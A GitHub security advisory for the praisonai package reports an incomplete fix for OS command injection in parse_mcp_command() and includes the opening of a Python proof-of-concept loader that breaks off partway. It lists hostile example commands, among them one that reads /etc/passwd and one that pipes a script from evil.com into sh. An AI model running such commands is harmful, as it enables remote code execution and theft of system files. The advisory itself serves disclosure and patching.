GitHub Security Advisory: GHSA-9qhq-v63v-fv3j
Package: praisonai (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 4.5.148
Patched in: 4.5.149

Summary: PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection 

Details:
### Summary

The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.

### Affected Package

- **Ecosystem:** PyPI
- **Package:** MervinPraison/PraisonAI
- **Affected versions:** < 47bff65413be
- **Patched versions:** >= 47bff65413be

### Details

The vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.

The fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.

Malicious MCP server commands such as `python -c 'import os; os.system("id")'`, `bash -c 'cat /etc/passwd'`, and `/bin/sh -c 'wget http://evil.com/shell.sh | sh'` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.

### PoC

```python
#!/usr/bin/env python3
"""
CVE-2026-34935 - PraisonAI command injection via parse_mcp_command()

Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).
The pre-patch parse_mcp_command() performs NO validation on the executable or
arguments, allowing arbitrary command execution via MCP server commands.

Repo: https://github.com/MervinPraison/PraisonAI
Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c
"""

import sys
import os
import importlib.util

# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit
MCP_PATH = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py"

def load_mcp_handler():
    """Load the real MCPHandler class from the vulnerable source."""
    base_path = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py"

    spec_base = importlib.util.spec_from_file_location("features_base", base_path)
    mod_base = importlib.util.module_from_spec(spec_base)
    sys.modules["features_base"] = mod_base

    with open(MCP_PATH) as f:
        source = f.read()

    source = source.replace("from .base import FlagHandler", """
class FlagHandler:
    def print_status(self, msg, level="info"):
        print(f"[{level}] {msg}")
""")

    ns = {"__name__": "mcp_module", "__file__": MCP_PATH}
    exec(compile(source, MCP_PATH, "exec"), ns)
    return ns["MCPHandler"]


def main():
    MCPHandler = load_mcp_handler()
    handler = MCPHandler()

    print(f"Source file: {MCP_PATH}")
    print(f"Loaded MCPHa